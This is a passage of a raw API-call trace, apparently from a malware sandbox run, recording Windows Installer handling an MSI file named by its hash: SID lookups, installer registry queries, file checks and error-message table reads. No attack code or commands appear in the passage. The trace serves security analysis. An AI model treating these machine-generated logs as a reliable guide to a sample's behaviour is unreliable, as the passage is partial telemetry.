_Dst=0x32c490, _Src=0x32ed40, _Size=0x68 | out: _Dst=0x32c490) returned 0x32c490 [0122.396] memcpy (in: _Dst=0x32ca30, _Src=0x32c490, _Size=0x7c | out: _Dst=0x32ca30) returned 0x32ca30 [0122.396] memcpy (in: _Dst=0x32caac, _Src=0x3cbb70, _Size=0x4 | out: _Dst=0x32caac) returned 0x32caac [0122.396] lstrlenW (lpString="Net") returned 3 [0122.396] memcpy (in: _Dst=0x37e570, _Src=0x32ca30, _Size=0x7e | out: _Dst=0x37e570) returned 0x37e570 [0122.396] GetCurrentThreadId () returned 0xf50 [0122.396] GetCurrentThreadId () returned 0xf50 [0122.396] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce070, TokenInformationLength=0x58, ReturnLength=0x10ce060 | out: TokenInformation=0x10ce070, ReturnLength=0x10ce060) returned 1 [0122.396] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce150, pSourceSid=0x10ce080*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce150*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0122.397] ConvertSidToStringSidW (in: Sid=0x10ce150*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce130 | out: StringSid=0x10ce130*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0122.397] LocalFree (hMem=0x3d6b80) returned 0x0 [0122.397] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Policies\\Microsoft\\Windows\\Installer", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce300 | out: phkResult=0x10ce300*=0x0) returned 0x2 [0122.397] lstrlenW (lpString="nmu") returned 3 [0122.397] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0122.397] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0122.398] GetCurrentThreadId () returned 0xf50 [0122.398] GetCurrentThreadId () returned 0xf50 [0122.398] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0122.398] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cdef0, TokenInformationLength=0x58, ReturnLength=0x10cdee0 | out: TokenInformation=0x10cdef0, ReturnLength=0x10cdee0) returned 1 [0122.398] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cdfd0, pSourceSid=0x10cdf00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cdfd0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0122.398] ConvertSidToStringSidW (in: Sid=0x10cdfd0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cdfb0 | out: StringSid=0x10cdfb0*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0122.398] LocalFree (hMem=0x3d5f40) returned 0x0 [0122.398] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0122.398] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0122.398] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce530 | out: phkResult=0x10ce530*=0x0) returned 0x2 [0122.398] GetCurrentThreadId () returned 0xf50 [0122.398] GetCurrentThreadId () returned 0xf50 [0122.398] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0122.398] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cdef0, TokenInformationLength=0x58, ReturnLength=0x10cdee0 | out: TokenInformation=0x10cdef0, ReturnLength=0x10cdee0) returned 1 [0122.398] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cdfd0, pSourceSid=0x10cdf00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cdfd0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0122.398] ConvertSidToStringSidW (in: Sid=0x10cdfd0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cdfb0 | out: StringSid=0x10cdfb0*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0122.398] LocalFree (hMem=0x3d6b80) returned 0x0 [0122.398] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0122.398] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0122.399] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce530 | out: phkResult=0x10ce530*=0x0) returned 0x2 [0122.399] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0122.399] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0122.399] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce530 | out: phkResult=0x10ce530*=0x0) returned 0x2 [0122.399] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="") returned 1 [0122.399] lstrlenW (lpString="PackagecodeChanging") returned 19 [0122.399] _vsnwprintf (in: _Buffer=0x10ce9d8, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce9c8 | out: _Buffer="1") returned 1 [0122.399] lstrlenW (lpString="1") returned 1 [0122.400] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0122.400] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0122.400] GetCurrentThreadId () returned 0xf50 [0122.400] GetCurrentThreadId () returned 0xf50 [0122.400] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0122.400] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cde20, TokenInformationLength=0x58, ReturnLength=0x10cde10 | out: TokenInformation=0x10cde20, ReturnLength=0x10cde10) returned 1 [0122.400] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cdf00, pSourceSid=0x10cde30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cdf00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0122.400] ConvertSidToStringSidW (in: Sid=0x10cdf00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cdee0 | out: StringSid=0x10cdee0*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0122.400] LocalFree (hMem=0x3d5f40) returned 0x0 [0122.400] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0122.400] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0122.400] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce420 | out: phkResult=0x10ce420*=0x0) returned 0x2 [0122.400] GetCurrentThreadId () returned 0xf50 [0122.400] GetCurrentThreadId () returned 0xf50 [0122.400] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0122.400] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cde20, TokenInformationLength=0x58, ReturnLength=0x10cde10 | out: TokenInformation=0x10cde20, ReturnLength=0x10cde10) returned 1 [0122.400] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cdf00, pSourceSid=0x10cde30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cdf00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0122.400] ConvertSidToStringSidW (in: Sid=0x10cdf00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cdee0 | out: StringSid=0x10cdee0*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0122.400] LocalFree (hMem=0x3d6b80) returned 0x0 [0122.401] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0122.401] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0122.401] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce420 | out: phkResult=0x10ce420*=0x0) returned 0x2 [0122.401] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0122.401] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0122.401] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce420 | out: phkResult=0x10ce420*=0x0) returned 0x2 [0122.401] UrlIsW (pszUrl="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi", UrlIs=0x0) returned 0 [0122.401] lstrlenW (lpString="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi") returned 94 [0122.401] memcpy (in: _Dst=0x37e4c0, _Src=0x382484, _Size=0x88 | out: _Dst=0x37e4c0) returned 0x37e4c0 [0122.401] UrlIsW (pszUrl="C:\\Users\\KEECFM~1\\Desktop", UrlIs=0x0) returned 0 [0122.401] lstrlenW (lpString="C:\\Users\\KEECFM~1\\Desktop") returned 25 [0122.401] memcpy (in: _Dst=0x3cb510, _Src=0x376420, _Size=0x4 | out: _Dst=0x3cb510) returned 0x3cb510 [0122.401] lstrlenW (lpString="\\") returned 1 [0122.401] lstrlenW (lpString="\\\\") returned 2 [0122.401] wcsstr (_Str="\\Users\\KEECFM~1\\Desktop", _SubStr="\\\\") returned 0x0 [0122.401] memcpy (in: _Dst=0x10cdc20, _Src=0x376424, _Size=0x30 | out: _Dst=0x10cdc20) returned 0x10cdc20 [0122.401] lstrlenW (lpString="Users") returned 5 [0122.401] lstrlenW (lpString="Users") returned 5 [0122.401] lstrlenW (lpString="KEECFM~1") returned 8 [0122.401] lstrlenW (lpString="KEECFM~1") returned 8 [0122.401] lstrlenW (lpString="Desktop") returned 7 [0122.401] lstrlenW (lpString="Desktop") returned 7 [0122.401] lstrlenW (lpString="\\Users\\KEECFM~1\\Desktop") returned 23 [0122.401] lstrlenW (lpString="\\Users\\KEECFM~1\\Desktop") returned 23 [0122.402] lstrlenW (lpString="\\") returned 1 [0122.402] memcpy (in: _Dst=0x2104b20, _Src=0x2104b70, _Size=0x2e | out: _Dst=0x2104b20) returned 0x2104b20 [0122.402] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0122.402] GetFileAttributesW (lpFileName="C:\\Users\\KEECFM~1\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0122.402] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0122.402] GetFileAttributesW (lpFileName="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi" (normalized: "c:\\users\\keecfmwgj\\desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi")) returned 0x20 [0122.402] FindFirstFileW (in: lpFileName="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi" (normalized: "c:\\users\\keecfmwgj\\desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi"), lpFindFileData=0x10ce7b0 | out: lpFindFileData=0x10ce7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35c43500, ftCreationTime.dwHighDateTime=0x1d8a8f3, ftLastAccessTime.dwLowDateTime=0x35c43500, ftLastAccessTime.dwHighDateTime=0x1d8a8f3, ftLastWriteTime.dwLowDateTime=0xdc9ad800, ftLastWriteTime.dwHighDateTime=0x1d8a8d7, nFileSizeHigh=0x0, nFileSizeLow=0x3e0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi", cAlternateFileName="FB9F0B~1.MSI")) returned 0x376410 [0122.402] FindClose (in: hFindFile=0x376410 | out: hFindFile=0x376410) returned 1 [0122.402] lstrlenW (lpString="fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi") returned 68 [0122.402] lstrlenW (lpString="fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi") returned 68 [0122.403] lstrlenW (lpString="Error") returned 5 [0122.403] lstrlenW (lpString="ProductLanguage") returned 15 [0122.403] SetLastError (dwErrCode=0x0) [0122.403] _vsnwprintf (in: _Buffer=0x10ce750, _BufferCount=0xff, _Format="SELECT `Message` FROM `Error` WHERE `Error` = %i", _ArgList=0x10ce4f8 | out: _Buffer="SELECT `Message` FROM `Error` WHERE `Error` = 0") returned 47 [0122.403] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x4e20, dwLanguageId=0x409, lpBuffer=0x10ce550, nSize=0x100, Arguments=0x0 | out: lpBuffer="{{Fatal error: }}\r\n") returned 0x13 [0122.403] lstrlenW (lpString="{{Fatal error: }}") returned 17 [0122.404] lstrlenW (lpString="ProductLanguage") returned 15 [0122.404] SetLastError (dwErrCode=0x0) [0122.404] _vsnwprintf (in: _Buffer=0x10ce750, _BufferCount=0xff, _Format="SELECT `Message` FROM `Error` WHERE `Error` = %i", _ArgList=0x10ce4f8 | out: _Buffer="SELECT `Message` FROM `Error` WHERE `Error` = 1") returned 47 [0122.404] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x4e21, dwLanguageId=0x409, lpBuffer=0x10ce550, nSize=0x100, Arguments=0x0 | out: lpBuffer="{{Error [1]. }}\r\n") returned 0x11 [0122.404] lstrlenW (lpString="{{Error [1]. }}") returned 15 [0122.404] lstrlenW (lpString="ProductLanguage") returned 15 [0122.404] SetLastError (dwErrCode=0x0) [0122.404] _vsnwprintf (in: _Buffer=0x10ce750, _BufferCount=0xff, _Format="SELECT `Message` FROM `Error` WHERE `Error` = %i", _ArgList=0x10ce4f8 | out: _Buffer="SELECT `Message` FROM `Error` WHERE `Error` = 2") returned 47 [0122.404] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x4e22, dwLanguageId=0x409, lpBuffer=0x10ce550, nSize=0x100, Arguments=0x0 | out: lpBuffer="Warning [1].\r\n") returned 0xe [0122.404] lstrlenW (lpString="Warning [1].") returned 12 [0122.404] lstrlenW (lpString="ProductLanguage") returned 15 [0122.404] SetLastError (dwErrCode=0x0) [0122.404] _vsnwprintf (in: _Buffer=0x10ce750, _BufferCount=0xff, _Format="SELECT `Message` FROM `Error` WHERE `Error` = %i", _ArgList=0x10ce4f8 | out: _Buffer="SELECT `Message` FROM `Error` WHERE `Error` = 3") returned 47 [0122.404] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x4e23, dwLanguageId=0x409, lpBuffer=0x10ce550, nSize=0x100, Arguments=0x0 | out: lpBuffer="Warning [1].") returned 0x0 [0122.404] GetLastError () returned 0x13d [0122.404] GetThreadPreferredUILanguages (in: dwFlags=0x24, pulNumLanguages=0x10ce494, pwszLanguagesBuffer=0x10ce4a8, pcchLanguagesBuffer=0x10ce490 | out: pulNumLanguages=0x10ce494, pwszLanguagesBuffer=0x10ce4a8, pcchLanguagesBuffer=0x10ce490) returned 0 [0122.485] GetLastError () returned 0x7a [0122.485] GetThreadPreferredUILanguages (in: dwFlags=0x24, pulNumLanguages=0x10ce494, pwszLanguagesBuffer=0x3b6c70, pcchLanguagesBuffer=0x10ce490 | out: pulNumLanguages=0x10ce494, pwszLanguagesBuffer=0x3b6c70, pcchLanguagesBuffer=0x10ce490) returned 1 [0122.485] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x4e23, dwLanguageId=0x409, lpBuffer=0x10ce550, nSize=0x100, Arguments=0x0 | out: lpBuffer="Warning [1].") returned 0x0 [0122.485] GetLastError () returned 0x13d [0122.485] GetThreadPreferredUILanguages (in: dwFlags=0x24, pulNumLanguages=0x10ce494, pwszLanguagesBuffer=0x10ce4a8, pcchLanguagesBuffer=0x10ce490 | out: pulNumLanguages=0x10ce494, pwszLanguagesBuffer=0x10ce4a8, pcchLanguagesBuffer=0x10ce490) returned 0 [0122.485] GetLastError () returned 0x7a [0122.485] GetThreadPreferredUILanguages (in: dwFlags=0x24, pulNumLanguages=0x10ce494, pwszLanguagesBuffer=0x3b6c70, pcchLanguagesBuffer=0x10ce490 | out: pulNumLanguages=0x10ce494, pwszLanguagesBuffer=0x3b6c70, pcchLanguagesBuffer=0x10ce490) returned 1 [0122.485] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x4e23, dwLanguageId=0x9, lpBuffer=0x10ce550, nSize=0x100, Arguments=0x0 | out: lpBuffer="Warning [1].") returned 0x0 [0122.486] GetLastError () returned 0x3afc [0122.486] GetThreadPreferredUILanguages (in: dwFlags=0x24, pulNumLanguages=0x10ce494, pwszLanguagesBuffer=0x10ce4a8, pcchLanguagesBuffer=0x10ce490 | out: pulNumLanguages=0x10ce494, pwszLanguagesBuffer=0x10ce4a8, pcchLanguagesBuffer=0x10ce490) returned 0 [0122.486] GetLastError () returned 0x7a [0122.486] GetThreadPreferredUILanguages (in: dwFlags=0x24, pulNumLanguages=0x10ce494, pwszLanguagesBuffer=0x3b6c70, pcchLanguagesBuffer=0x10ce490 | out: pulNumLanguages=0x10ce494, pwszLanguagesBuffer=0x3b6c70, pcchLanguagesBuffer=0x10ce490) returned 1 [0122.486] lstrlenW (lpString="ProductLanguage") returned 15 [0122.486] SetLastError (dwErrCode=0x0) [0122.486] _vsnwprintf (in: _Buffer=0x10ce750, _BufferCount=0xff, _Format="SELECT `Message` FROM `Error` WHERE `Error` = %i", _ArgList=0x10ce4f8 | out: _Buffer="SELECT `Message` FROM `Error` WHERE `Error` = 4") returned 47 [0122.486] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x4e24, dwLanguageId=0x409, lpBuffer=0x10ce550, nSize=0x100, Arguments=0x0 | out: lpBuffer="Info [1].\r\n") returned 0xb [0122.487] lstrlenW (lpString="Info [1].") returned 9 [0122.487] lstrlenW (lpString="ProductLanguage") returned 15 [0122.487] SetLastError (dwErrCode=0x0) [0122.487] _vsnwprintf (in: _Buffer=0x10ce750, _BufferCount=0xff, _Format="SELECT `Message` FROM `Error` WHERE `Error` = %i", _ArgList=0x10ce4f8 | out: _Buffer="SELECT `Message` FROM `Error` WHERE `Error` = 5") returned 47 [0122.487] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x4e25, dwLanguageId=0x409, lpBuffer=0x10ce550, nSize=0x100, Arguments=0x0 | out: lpBuffer="The installer has encountered an unexpected error installing this package. This may indicate a problem with this package. The error code is [1]. {{The arguments are: [2], [3], [4]}}\r\n") returned 0xb7 [0122.487] lstrlenW (lpString="The installer has encountered an unexpected error installing this package. This may indicate a problem with this package. The error code is [1]. {{The arguments are: [2], [3], [4]}}") returned 181 [0122.487] lstrlenW (lpString="ProductLanguage") returned 15 [0122.487] SetLastError (dwErrCode=0x0) [0122.487] _vsnwprintf (in: _Buffer=0x10ce750, _BufferCount=0xff, _Format="SELECT `Message` FROM `Error` WHERE `Error` = %i", _ArgList=0x10ce4f8 | out: _Buffer="SELECT `Message` FROM `Error` WHERE `Error` = 6") returned 47 [0122.487] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x4e26, dwLanguageId=0x409, lpBuffer=0x10ce550, nSize=0x100, Arguments=0x0 | out: lpBuffer="The installer has encountered an unexpected error installing this package. This may indicate a problem with this package. The error codeꘐ<") returned 0x0 [0122.487] GetLastError () returned 0x13d [0122.487] GetThreadPreferredUILanguages (in: dwFlags=0x24, pulNumLanguages=0x10ce494, pwszLanguagesBuffer=0x10ce4a8, pcchLanguagesBuffer=0x10ce490 | out: pulNumLanguages=0x10ce494, pwszLanguagesBuffer=0x10ce4a8, pcchLanguagesBuffer=0x10ce490) returned 0 [0122.487] GetLastError () returned 0x7a [0122.487] GetThreadPreferredUILanguages (in: dwFlags=0x24, pulNumLanguages=0x10ce494, pwszLanguagesBuffer=0x3b6c70, pcchLanguagesBuffer=0x10ce490 | out: pulNumLanguages=0x10ce494, pwszLanguagesBuffer=0x3b6c70, pcchLanguagesBuffer=0x10ce490) returned 1 [0122.487] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x4e26, dwLanguageId=0x409, lpBuffer=0x10ce550, nSize=0x100, Arguments=0x0 | out: lpBuffer="The installer has encountered an unexpected error installing this package. This may indicate a problem with this package. The error codeꘐ<") returned 0x0 [0122.487] GetLastError () returned 0x13d [0122.487] GetThreadPreferredUILanguages (in: dwFlags=0x24, pulNumLanguages=0x10ce494, pwszLanguagesBuffer=0x10ce4a8, pcchLanguagesBuffer=0x10ce490 | out: pulNumLanguages=0x10ce494, pwszLanguagesBuffer=0x10ce4a8, pcchLanguagesBuffer=0x10ce490) returned 0 [0122.487] GetLastError () returned 0x7a [0122.487] GetThreadPreferredUILanguages (in: dwFlags=0x24, pulNumLanguages=0x10ce494, pwszLanguagesBuffer=0x3b6c70, pcchLanguagesBuffer=0x10ce490 | out: pulNumLanguages=0x10ce494, pwszLanguagesBuffer=0x3b6c70, pcchLanguagesBuffer=0x10ce490) returned 1 [0122.487] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x4e26, dwLanguageId=0x9, lpBuffer=0x10ce550, nSize=0x100, Arguments=0x0 | out: lpBuffer="The installer has encountered an unexpected error installing this package. This may indicate a problem with this package. The error codeꘐ<") returned 0x0 [0122.488] GetLastError () returned 0x3b01 [0122.488] GetThreadPreferredUILanguages (in: dwFlags=0x24, pulNumLanguages=0x10ce494, pwszLanguagesBuffer=0x10ce4a8, pcchLanguagesBuffer=0x10ce490 | out: pulNumLanguages=0x10ce494, pwszLanguagesBuffer=0x10ce4a8, pcchLanguagesBuffer=0x10ce490) returned 0 [0122.488] GetLastError () returned 0x7a [0122.488] GetThreadPreferredUILanguages (in: dwFlags=0x24, pulNumLanguages=0x10ce494, pwszLanguagesBuffer=0x3b6c70, pcchLanguagesBuffer=0x10ce490 | out: pulNumLanguages=0x10ce494, pwszLanguagesBuffer=0x3b6c70, pcchLanguagesBuffer=0x10ce490) returned 1 [0122.488] lstrlenW (lpString="ProductLanguage") returned 15 [0122.488] SetLastError (dwErrCode=0x0) [0122.488] _vsnwprintf (in: _Buffer=0x10ce750, _BufferCount=0xff, _Format="SELECT `Message` FROM `Error` WHERE `Error` = %i", _ArgList=0x10ce4f8 | out: _Buffer="SELECT `Message` FROM `Error` WHERE `Error` = 7") returned 47 [0122.488] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x4e27, dwLanguageId=0x409, lpBuffer=0x10ce550, nSize=0x100, Arguments=0x0 | out: lpBuffer="{{Disk full: }}\r\n") returned 0x11 [0122.488] lstrlenW (lpString="{{Disk full: }}") returned 15 [0122.488] lstrlenW (lpString="ProductLanguage") returned 15 [0122.488] SetLastError (dwErrCode=0x0) [0122.488] _vsnwprintf (in: _Buffer=0x10ce750, _BufferCount=0xff, _Format="SELECT `Message` FROM `Error` WHERE `Error` = %i", _ArgList=0x10ce4f8 | out: _Buffer="SELECT `Message` FROM `Error` WHERE `Error` = 8") returned 47 [0122.488] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x4e28, dwLanguageId=0x409, lpBuffer=0x10ce550, nSize=0x100, Arguments=0x0 | out: lpBuffer="Action [Time]: [1]. [2]\r\n") returned 0x19 [0122.488] lstrlenW (lpString="Action [Time]: [1]. [2]") returned 23 [0122.488] lstrlenW (lpString="ProductLanguage") returned 15 [0122.488] SetLastError (dwErrCode=0x0) [0122.488] _vsnwprintf (in: _Buffer=0x10ce750, _BufferCount=0xff, _Format="SELECT `Message` FROM `Error` WHERE `Error` = %i", _ArgList=0x10ce4f8 | out: _Buffer="SELECT `Message` FROM `Error` WHERE `Error` = 9") returned 47 [0122.489] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x4e29, dwLanguageId=0x409, lpBuffer=0x10ce550, nSize=0x100, Arguments=0x0 | out: lpBuffer="[ProductName]\r\n") returned 0xf [0122.489] lstrlenW (lpString="[ProductName]") returned 13 [0122.489] lstrlenW (lpString="ProductLanguage") returned 15 [0122.489] SetLastError (dwErrCode=0x0) [0122.489] _vsnwprintf (in: _Buffer=0x10ce750, _BufferCount=0xff, _Format="SELECT `Message` FROM `Error` WHERE `Error` = %i", _ArgList=0x10ce4f8 | out: _Buffer="SELECT `Message` FROM `Error` WHERE `Error` = 10") returned 48 [0122.489] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x4e2a, dwLanguageId=0x409, lpBuffer=0x10ce550, nSize=0x100, Arguments=0x0 | out: lpBuffer="{[2]}{, [3]}{, [4]}\r\n") returned 0x15 [0122.489] lstrlenW (lpString="{[2]}{, [3]}{, [4]}") returned 19 